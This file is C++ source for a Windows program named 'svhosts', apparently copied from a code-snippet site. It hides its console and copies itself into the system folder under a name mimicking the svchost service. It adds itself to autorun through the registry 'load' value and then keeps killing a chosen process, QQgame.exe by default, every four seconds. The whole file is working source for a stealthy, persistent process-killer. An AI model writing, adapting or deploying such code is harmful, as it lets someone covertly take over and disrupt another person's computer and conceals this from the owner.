- // svhosts.cpp : Defines the entry point for the console application.
- //
- #include "stdafx.h"
- #include "windows.h"
- #include "tlhelp32.h"
- #include "stdio.h"
- #include "winbase.h"
- #include "winreg.h"
- //#define DEBUG 1
- //#pragma comment( linker, "/subsystem:\\"windows\\" /entry:\\"mainCRTStartup\\"" )
- DWORD GetPidByName(CHAR *ProcessName)//CHAR * ProName)
- {
- HANDLE hPSnap=NULL;
- PROCESSENTRY32 pe32 ={0};
- pe32.dwSize = sizeof(PROCESSENTRY32);
- hPSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
- if(hPSnap == INVALID_HANDLE_VALUE)
- {
- return -1;
- }
- //printf("\\nProcessName ProcessID");
- if(Process32First(hPSnap,&pe32))
- {
- do
- {
- // if(0 == wcscmp(pe32.szExeFile,ProcessName))//find exact filename
- if(0 == stricmp(pe32.szExeFile,ProcessName))//if p1 contains P2
- {
- CloseHandle(hPSnap);
- return pe32.th32ProcessID;
- }
- }while(Process32Next(hPSnap,&pe32));
- }
- CloseHandle(hPSnap);
- return -1;
- }
- BOOL KillProcess(DWORD ProPid)
- {
- HANDLE hd= NULL;
- hd = OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProPid);
- if (hd == INVALID_HANDLE_VALUE)
- {
- return false;
- }
- BOOL b=TerminateProcess(hd,0);
- CloseHandle(hd);
- return b;
- }
- BOOL CreateRegString(HKEY hRoot,CHAR *szSubKey,CHAR *valueName,CHAR *Data)
- {
- BOOL flag = TRUE;
- HKEY hKey ;
- LONG iRet = RegCreateKeyEx(hRoot,szSubKey,0,NULL,
- REG_OPTION_NON_VOLATILE,
- KEY_ALL_ACCESS,NULL,
- &hKey,//get hroot HKEY HANDLE and stores it in hKey
- NULL);
- if (iRet != ERROR_SUCCESS)
- {
- #if DEBUG
- printf("errorr %ls", szSubKey);
- getchar();
- #endif
- flag = FALSE;
- }
- iRet =RegSetValueEx(hKey,valueName,0,
- REG_SZ,(BYTE*)Data,
- MAX_PATH);
- if(iRet != ERROR_SUCCESS)
- {
- #if DEBUG
- printf("error reset!%ls",valueName);
- getchar();
- #endif
- flag = FALSE;
- }
- RegCloseKey(hKey);//close HKEY HANDLE
- return flag;//if no error occured, flag should be its original value true.
- }
- int CopySelfToSysPath(CHAR *ProgramName)
- {
- CHAR selfFile[MAX_PATH];
- CHAR sysPath[512];
- HANDLE fh = NULL;
- GetSystemDirectory(sysPath,sizeof(sysPath));//system path!
- GetModuleFileName(NULL,selfFile,MAX_PATH);//self path
- strcat(sysPath,ProgramName);
- //copyfilew: the second parameter is full file name (including file name)
- if(! CopyFile(selfFile,sysPath,FALSE) )
- {
- //printf("Copy File Fail!");
- //getchar();
- return 0;
- }
- return 1;
- }
- BOOL SetAutoBoot( CHAR *ProgramName)
- {
- CHAR sysPath[512];
- BOOL flag = FALSE;
- GetSystemDirectory(sysPath,sizeof(sysPath));//system path!
- strcat(sysPath,ProgramName);
- flag = CreateRegString(HKEY_CURRENT_USER,
- "Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows",
- "load",//convert ot CHAR format;
- sysPath);
- return flag;
- }
- BOOL RetrieveRegValue(CHAR *PName)
- {
- HKEY hkey ;
- DWORD type(0);
- DWORD len(MAX_PATH);
- if ( ERROR_SUCCESS ==RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows", 0, KEY_ALL_ACCESS, &hkey))
- {
- if ( ERROR_SUCCESS ==RegQueryValueEx(hkey, "Pro", 0, &type,(BYTE*)PName, &len))
- RegCloseKey(hkey);
- return true;
- }
- return FALSE;
- }
- int main(int argc, char* argv[])
- {
- CHAR pName[256]="QQgame.exe";
- FreeConsole();
- if(argv[1]!=NULL)
- {
- CreateRegString(HKEY_CURRENT_USER,
- "Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows",
- "PRO",//convert ot CHAR format;
- argv[1]);
- }
- if( RetrieveRegValue(pName) != TRUE )
- {
- strcpy(pName,"QQgame.exe");
- }
- if( CopySelfToSysPath("\\\\svhosts.exe") >0 )
- {;}
- if (TRUE != SetAutoBoot("\\\\svhosts.exe"))
- {;}
- DWORD pid;
- while(true)
- {
- if (TRUE != SetAutoBoot("\\\\svhosts.exe"))
- {;}
- pid = GetPidByName(pName);
- if(pid !=-1)
- {
- KillProcess(pid);
- }
- Sleep(4000);
- }
- return 0;
- }
- //该片段来自于http://www.codesnippet.cn/detail/030420149226.html
来源: http://www.codesnippet.cn/detail/030420149226.html